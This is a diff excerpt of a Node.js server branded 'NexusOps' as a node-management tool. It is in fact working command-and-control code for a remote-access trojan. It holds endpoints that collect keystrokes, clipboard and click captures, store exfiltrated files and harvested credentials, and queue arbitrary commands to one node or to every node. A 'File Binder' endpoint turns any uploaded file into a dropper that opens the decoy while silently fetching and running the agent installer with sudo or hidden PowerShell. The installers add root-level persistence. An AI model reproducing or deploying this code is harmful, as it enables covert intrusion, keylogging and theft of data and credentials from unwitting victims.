nodeId, hostname, filename, data, mime, timestamp } +const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } + +// ── Persistence ── +let _saveLock = false; +function _atomicWrite(file, data) { + const tmp = file + '.tmp'; + fs.writeFileSync(tmp, data); + fs.renameSync(tmp, file); +} +function saveData() { + if (_saveLock) return; + _saveLock = true; + try { + _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); + _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); + _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); + _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); + _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); + } catch(e) { /* silent */ } finally { + _saveLock = false; + } +} + +function loadData() { + try { + const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]'); + nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); }); + commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]'))); + masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]'))); + inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]'))); + harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]'))); + } catch(e) { /* first run */ } +} +loadData(); + +// Auto-save every 30 seconds +setInterval(saveData, 30000); + +setInterval(() => { + const now = Date.now(); + let changed = false; + nodes.forEach((node, id) => { + if (node.status === 'online' && now - node.lastHeartbeat > 20000) { + node.status = 'offline'; + changed = true; + } + }); + if (changed) { + broadcastState(); + } +}, 5000); + +function broadcastState() { + saveData(); // Persist on every state change + const payload = JSON.stringify({ + type: 'NODES_UPDATE', + serverIp: SERVER_IP, + port: PORT, + publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, + nodes: Array.from(nodes.values()), + commandHistory: commandHistory.slice(-50), + masterSystemLogs: masterSystemLogs.slice(-100), + inputData: inputDataStore.slice(-200) + }); + + wss.clients.forEach(client => { + if (client.readyState === WebSocket.OPEN) { + client.send(payload); + } + }); +} + +wss.on('connection', (ws, req) => { + // Auth check on WS upgrade + if (AUTH_TOKEN) { + const url = new URL(req.url, 'http://localhost'); + if (url.searchParams.get('token') !== AUTH_TOKEN) { + ws.close(4401, 'unauthorized'); + return; + } + } + ws.isAlive = true; + ws.on('pong', () => { ws.isAlive = true; }); + ws.send(JSON.stringify({ + type: 'NODES_UPDATE', + serverIp: SERVER_IP, + port: PORT, + publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, + nodes: Array.from(nodes.values()), + commandHistory: commandHistory.slice(-50), + masterSystemLogs: masterSystemLogs.slice(-100), + inputData: inputDataStore.slice(-200) + })); +}); + +// WS heartbeat: ping every 25s, drop dead clients +setInterval(() => { + wss.clients.forEach(ws => { + if (ws.isAlive === false) return ws.terminate(); + ws.isAlive = false; + try { ws.ping(); } catch(e) {} + }); +}, 25000); + +// REST API Endpoints + +app.get('/api/status', (req, res) => { + res.json({ + serverIp: SERVER_IP, + port: PORT, + serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, + totalNodes: nodes.size, + onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length + }); +}); + +app.get('/api/nodes', (req, res) => { + res.json(Array.from(nodes.values())); +}); + +app.get('/api/logs', (req, res) => { + res.json(masterSystemLogs.slice(-100)); +}); + +// CSV Telemetry Export Endpoint +app.get('/api/export/csv', (req, res) => { + let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n"; + nodes.forEach(node => { + const tagsStr = (node.tags || []).join(';'); + csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`; + }); + res.setHeader('Content-Type', 'text/csv'); + res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"'); + res.send(csv); +}); + +// Agent System Log Streaming Endpoint +app.post('/api/agent/logs', (req, res) => { + const { nodeId, hostname, logs } = req.body; + if (Array.isArray(logs)) { + logs.forEach(logLine => { + masterSystemLogs.push({ + id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`, + nodeId, + hostname: hostname || 'Unknown', + timestamp: Date.now(), + entry: logLine + }); + }); + if (masterSystemLogs.length > 200) { + masterSystemLogs.splice(0, masterSystemLogs.length - 200); + } + broadcastState(); + } + res.json({ success: true }); +}); + +// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus +app.post('/api/agent/input-capture', (req, res) => { + const { nodeId, hostname, events } = req.body; + if (!nodeId || !Array.isArray(events)) { + return res.status(400).json({ error: 'nodeId and events[] required' }); + } + + events.forEach(ev => { + inputDataStore.push({ + id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`, + nodeId, + hostname: hostname || 'Unknown', + timestamp: ev.timestamp || Date.now(), + eventType: ev.eventType || 'unknown', + data: ev.data || {}, + windowTitle: ev.windowTitle || '', + processName: ev.processName || '' + }); + }); + + if (inputDataStore.length > MAX_INPUT_STORE) { + inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE); + } + + if (events.length > 0) { + broadcastState(); + } + + res.json({ success: true, stored: events.length }); +}); + +// Retrieve input capture data +app.get('/api/inputs', (req, res) => { + const { nodeId, eventType, limit } = req.query; + let filtered = inputDataStore; + + if (nodeId) { + filtered = filtered.filter(e => e.nodeId === nodeId); + } + if (eventType) { + filtered = filtered.filter(e => e.eventType === eventType); + } + + const max = parseInt(limit) || 200; + res.json(filtered.slice(-max)); +}); + +// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ── +app.post('/api/bind', upload.single('file'), (req, res) => { + if (!req.file) { + return res.status(400).json({ error: 'No file uploaded. Use field name "file".' }); + } + + const originalName = req.file.originalname; + const b64Content = req.file.buffer.toString('base64'); + const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; + const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const serverUrl = PUBLIC_URL || `http://${host}`; + const format = (req.query.format || 'sh').toLowerCase(); + + let dropper, boundName, contentType; + + if (format === 'ps1') { + const psLines = [ + '<#', + ' Self-Extracting Dropper — ' + originalName, + ' NexusOps Agent Binder (Windows)', + '#>', + '', + '$ORIGINAL_NAME = "' + originalName + '"', + '$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"', + '$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"', + '$SERVER_URL = "' + serverUrl + '"', + '', + 'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null', + '', + '$scriptPath = $MyInvocation.MyCommand.Path', + '$lines = Get-Content $scriptPath', + '$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")', + 'if ($markerIdx -ge 0) {', + ' $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")', + ' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))', + '}', + '', + 'Start-Process $OUTPUT_FILE -WindowStyle Normal', + '', + 'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden', + '', + 'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden', + '', + '__PAYLOAD_BASE64__', + ...b64Lines + ]; + dropper = psLines.join('\r\n'); + boundName = originalName + '.ps1'; + contentType = 'text/plain'; + } else { + dropper = [ + '#!/bin/bash', + '# ═══════════════════════════════════════════════════', + `# Self-Extracting Dropper — ${originalName}`, + '# ═══════════════════════════════════════════════════', + 'set -e', + '', + `ORIGINAL_NAME="${originalName}"`, + 'OUTPUT_DIR="/tmp/.nexus-$$"', + 'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"', + `SERVER_URL="${serverUrl}"`, + '', + 'mkdir -p "$OUTPUT_DIR"', + '', + 'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")', + 'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null', + '', + '# Open with default handler', + 'if command -v xdg-open &>/dev/null; then', + ' xdg-open "$OUTPUT_FILE" 2>/dev/null &', + 'elif command -v open &>/dev/null; then', + ' open "$OUTPUT_FILE" 2>/dev/null &', + 'elif command -v start &>/dev/null; then', + ' start "$OUTPUT_FILE" 2>/dev/null &', + 'fi', + '', + '# Silently install agent in background', + '(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &', + '(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &', + '', + '(sleep 60 && rm -rf "$OUTPUT_DIR") &', + 'disown', + '', + 'exit 0', + '__PAYLOAD_BASE64__', + b64Content + ].join('\n'); + boundName = originalName + '.sh'; + contentType = 'application/x-sh'; + } + + res.setHeader('Content-Type', contentType); + res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`); + res.send(dropper); +}); + +app.post('/api/agent/register', (req, res) => { + const { hostname, platform, arch, ip, osName, tags } = req.body; + const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`; + + const existingNode = nodes.get(nodeId); + const now = Date.now(); + + const nodeData = { + id: nodeId, + hostname: hostname || 'Unknown-Host', + platform: platform || 'linux', + arch: arch || 'x64', + osName: osName || platform, + ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1', + status: 'online', + firstSeen: existingNode ? existingNode.firstSeen : now, + lastHeartbeat: now, + cpuUsage: 0, + memUsage: 0, + diskUsage: 0, + uptime: 0, + processCount: 0, + tags: tags || ['Default'], + heartbeatInterval: 5, + metricsHistory: existingNode ? existingNode.metricsHistory : [] + }; + + nodes.set(nodeId, nodeData); + if (!commandQueues.has(nodeId)) { + commandQueues.set(nodeId, []); + } + + broadcastState(); + res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` }); +}); + +// Agent Heartbeat +app.post('/api/agent/heartbeat', (req, res) => { + const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body; + + if (!nodeId || !nodes.has(nodeId)) { + return res.status(404).json({ error: 'Node not registered.' }); + } + + const node = nodes.get(nodeId); + const now = Date.now(); + + node.status = 'online'; + node.lastHeartbeat = now; + node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage; + node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage; + node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage; + node.uptime = uptime || node.uptime; + node.processCount = processCount || node.processCount; + if (tags) node.tags = tags; + if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval; + + if (!node.metricsHistory) node.metricsHistory = []; + node.metricsHistory.push({ + timestamp: new Date().toLocaleTimeString(), + cpu: node.cpuUsage, + mem: node.memUsage, + disk: node.diskUsage + }); + if (node.metricsHistory.length > 30) { + node.metricsHistory.shift(); + } + + nodes.set(nodeId, node); + broadcastState(); + + const queue = commandQueues.get(nodeId) || []; + const pendingCommands = [...queue]; + commandQueues.set(nodeId, []); + + res.json({ success: true, commands: pendingCommands }); +}); + +// Command Result Callback +app.post('/api/agent/command-result', (req, res) => { + const { commandId, nodeId, output, exitCode } = req.body; + const entry = commandHistory.find(c => c.id === commandId); + if (entry) { + entry.status = exitCode === 0 ? 'completed' : 'failed'; + entry.output = output; + entry.completedAt = Date.now(); + } + broadcastState(); + res.json({ success: true }); +}); + +// Queue Command for Single Node +app.post('/api/nodes/:id/command', (req, res) => { + const nodeId = req.params.id; + const { command, actionType, payload } = req.body; + + if (!nodes.has(nodeId)) { + return res.status(404).json({ error: 'Node not found' }); + } + + const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`; + const actionName = actionType || 'raw_command'; + + const cmdObj = { + id: commandId, + actionType: actionName, + payload: payload || { command }, + command: command || actionName, + createdAt: Date.now() + }; + + if (!commandQueues.has(nodeId)) { + commandQueues.set(nodeId, []); + } + commandQueues.get(nodeId).push(cmdObj); + + commandHistory.push({ + id: commandId, + nodeId, + hostname: nodes.get(nodeId).hostname, + command: command || `${actionName} (${JSON.stringify(payload)})`, + status: 'queued', + createdAt: Date.now(), + output: '' + }); + + broadcastState(); + res.json({ success: true, commandId }); +}); + +// Queue Bulk Command +app.post('/api/nodes/bulk-command', (req, res) => { + const { command, actionType, payload } = req.body; + const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online'); + + if (onlineNodes.length === 0) { + return res.status(400).json({ error: 'No online nodes available' }); + } + + const queuedIds = []; + onlineNodes.forEach(node => { + const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`; + const actionName = actionType || 'raw_command'; + + const cmdObj = { + id: commandId, + actionType: actionName, + payload: payload || { command }, + command: command || actionName, + createdAt: Date.now() + }; + + if (!commandQueues.has(node.id)) { + commandQueues.set(node.id, []); + } + commandQueues.get(node.id).push(cmdObj); + + commandHistory.push({ + id: commandId, + nodeId: node.id, + hostname: node.hostname, + command: `[BULK] ${command || actionName}`, + status: 'queued', + createdAt: Date.now(), + output: '' + }); + queuedIds.push(commandId); + }); + + broadcastState(); + res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds }); +}); + +app.delete('/api/nodes/:id', (req, res) => { + const nodeId = req.params.id; + nodes.delete(nodeId); + commandQueues.delete(nodeId); + broadcastState(); + res.json({ success: true }); +}); + +// ── Kill Switch — shutdown all agents on all nodes ── +app.post('/api/nodes/killswitch', (req, res) => { + const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online'); + if (onlineNodes.length === 0) { + return res.json({ success: false, error: 'No online nodes to kill', count: 0 }); + } + onlineNodes.forEach(node => { + if (!commandQueues.has(node.id)) commandQueues.set(node.id, []); + commandQueues.get(node.id).push({ + id: `kill-${Date.now()}`, + actionType: 'kill_agent', + payload: {}, + command: 'kill_agent', + createdAt: Date.now() + }); + }); + broadcastState(); + res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` }); +}); + +// ── Export Input Capture as CSV ── +app.get('/api/inputs/csv', (req, res) => { + let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n'; + inputDataStore.slice(-500).forEach(e => { + const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""'); + csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`; + }); + res.setHeader('Content-Type', 'text/csv'); + res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"'); + res.send(csv); +}); + +// ── Ping node — latency check ── +app.post('/api/nodes/:id/ping', (req, res) => { + const nodeId = req.params.id; + if (!nodes.has(nodeId)) { + return res.status(404).json({ error: 'Node not found' }); + } + if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []); + const cmdId = `ping-${Date.now()}`; + commandQueues.get(nodeId).push({ + id: cmdId, + actionType: 'ping_check', + payload: { timestamp: Date.now() }, + command: 'ping_check', + createdAt: Date.now() + }); + broadcastState(); + res.json({ success: true, commandId: cmdId }); +}); + +// ── File Exfiltration — agent sends file back ── +app.post('/api/agent/file-result', (req, res) => { + const { commandId, nodeId, hostname, filename, data, mime, error } = req.body; + const entry = commandHistory.find(c => c.id === commandId); + if (entry) { + entry.status = error ? 'failed' : 'completed'; + entry.completedAt = Date.now(); + if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`; + else entry.output = `[FILE ERROR] ${error}`; + } + if (!error && data) { + const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`; + exfiltratedFiles.set(fileId, { + nodeId, hostname, filename, data, mime: mime || 'application/octet-stream', + timestamp: Date.now(), size: Buffer.byteLength(data, 'base64') + }); + } + broadcastState(); + res.json({ success: true }); +}); + +// ── Download exfiltrated file ── +app.get('/api/files/:id', (req, res) => { + const file = exfiltratedFiles.get(req.params.id); + if (!file) return res.status(404).json({ error: 'File not found' }); + const buf = Buffer.from(file.data, 'base64'); + res.setHeader('Content-Type', file.mime); + res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`); + res.send(buf); +}); + +// ── List exfiltrated files ── +app.get('/api/files', (req, res) => { + res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({ + id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename, + mime: f.mime, size: f.size, timestamp: f.timestamp + }))); +}); + +// ── Credential Harvest Result ── +app.post('/api/agent/harvest-result', (req, res) => { + const { commandId, nodeId, hostname, credentials, error } = req.body; + const entry = commandHistory.find(c => c.id === commandId); + if (entry) { + entry.status = error ? 'failed' : 'completed'; + entry.completedAt = Date.now(); + entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`; + } + if (credentials && Array.isArray(credentials)) { + credentials.forEach(c => { + harvestedCredentials.push({ + nodeId, hostname, type: c.type || 'unknown', data: c.data, + timestamp: Date.now() + }); + }); + if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500); + } + broadcastState(); + res.json({ success: true }); +}); + +// ── List harvested credentials ── +app.get('/api/credentials', (req, res) => { + const { nodeId } = req.query; + let filtered = harvestedCredentials; + if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId); + res.json(filtered.slice(-200)); +}); + +app.get('/install.sh', (req, res) => { + const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const script = `#!/bin/bash +# Network Node Agent One-Liner Installer for Linux +set -e + +SERVER_URL="http://${host}" +INSTALL_DIR="/opt/network-agent" +SERVICE_FILE="/etc/systemd/system/network-agent.service" + +echo "==================================================" +echo " NexusOps Network Node Agent Installer " +echo "==================================================" +echo "Connecting to Server Endpoint: $SERVER_URL" + +mkdir -p "$INSTALL_DIR" + +echo "[1/3] Downloading agent script..." +curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py" +chmod +x "$INSTALL_DIR/agent.py" + +echo "[2/4] Configuring systemd background daemon..." +cat << EOF > "$SERVICE_FILE" +[Unit] +Description=NexusOps Node Telemetry & Management Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent +Restart=always +RestartSec=5 +User=root + +[Install] +WantedBy=multi-user.target +EOF + +echo "[3/4] Installing pynput for keystroke/click capture..." +pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping" + +echo "[4/4] Enabling & Starting Agent Service..." +systemctl daemon-reload +systemctl enable network-agent +systemctl restart network-agent + +echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL" +`; + res.setHeader('Content-Type', 'text/plain'); + res.send(script); +}); + +app.get('/install.ps1', (req, res) => { + const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const script = `# Network Agent PowerShell Installer for Windows +$SERVER_URL = "http://${host}" +$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent" + +Write-Host "==================================================" -ForegroundColor Cyan +Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan +Write-Host "==================================================" -ForegroundColor Cyan +Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow + +if (!(Test-Path $INSTALL_DIR)) { + New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null +} + +Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green +Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py" + +Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green +Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden + +Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green +`; + res.setHeader('Content-Type', 'text/plain'); + res.send(script); +}); + +app.get('/install-mac.sh', (req, res) => { + const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const script = `#!/bin/bash +# macOS Node Agent Installer — launchd background daemon +set -e + +SERVER_URL="http://${host}" +INSTALL_DIR="/opt/network-agent" +PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist" + +echo "==================================================" +echo " NexusOps Node Agent Installer (macOS) " +echo "==================================================" +echo "Connecting to Server Endpoint: $SERVER_URL" + +echo "[1/4] Creating installation directory..." +sudo mkdir -p "$INSTALL_DIR" +sudo chown "$(whoami)" "$INSTALL_DIR" + +echo "[2/4] Downloading cross-platform Python agent..." +curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py" +chmod +x "$INSTALL_DIR/agent.py" + +echo "[3/4] Installing pynput for input capture..." +python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping" + +echo "[4/4] Configuring launchd background daemon..." +mkdir -p "$HOME/Library/LaunchAgents" +cat << EOF > "$PLIST_FILE" + + + + + Label + com.nexusops.agent + ProgramArguments + + /usr/bin/python3 + $INSTALL_DIR/agent.py + --server + $SERVER_URL + --silent + + RunAtLoad + + KeepAlive + + StandardOutPath + $INSTALL_DIR/agent.log + StandardErrorPath + $INSTALL_DIR/agent.log + + +EOF + +launchctl unload "$PLIST_FILE" 2>/dev/null || true +launchctl load "$PLIST_FILE" + +echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL" +echo " To stop: launchctl unload $PLIST_FILE" +`; + res.setHeader('Content-Type', 'text/plain'); + res.send(script); +}); + +// ── Universal Auto-Install (one command, any OS, fully silent) ── +app.get('/install', (req, res) => { + const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const silent = req.query.silent !== '0'; // silent by default + const quiet = silent ? '>/dev/null 2>&1' : ''; + const script = `#!/bin/bash +# NexusOps Universal Auto-Installer — one command, any OS +SERVER_URL="http://${host}" +echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL" + +case "$(uname -s 2>/dev/null || echo Windows)" in + Linux) + echo "[*] Linux detected — deploying via systemd" + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & + ;; + Darwin) + echo "[*] macOS detected — deploying via launchd" + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} & + ;; + CYGWIN*|MINGW*|MSYS*|Windows) + echo "[*] Windows detected — deploying via PowerShell" + powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} & + ;; + *) + echo "[!] Unknown OS — trying Linux installer as fallback" + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & + ;; +esac + +echo "[*] Agent deployment initiated — it will register within 10 seconds" +`; + res.setHeader('Content-Type', 'text/plain'); + res.send(script); +}); + +app.get('/agent.py', (req, res) => { + res.sendFile(path.join(__dirname, 'agents', 'agent.py')); +}); + +server.listen(PORT, '0.0.0.0', () => { + const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`; + console.log(`=======================================================`); + console.log(`🚀 NexusOps Central Node Control Server is running!`); + console.log(`🌐 Local Web UI: http://localhost:${PORT}`); + console.log(`📡 Network Endpoint: ${publicEndpoint}`); + if (PUBLIC_URL) { + console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`); + } + console.log(`=======================================================`); +});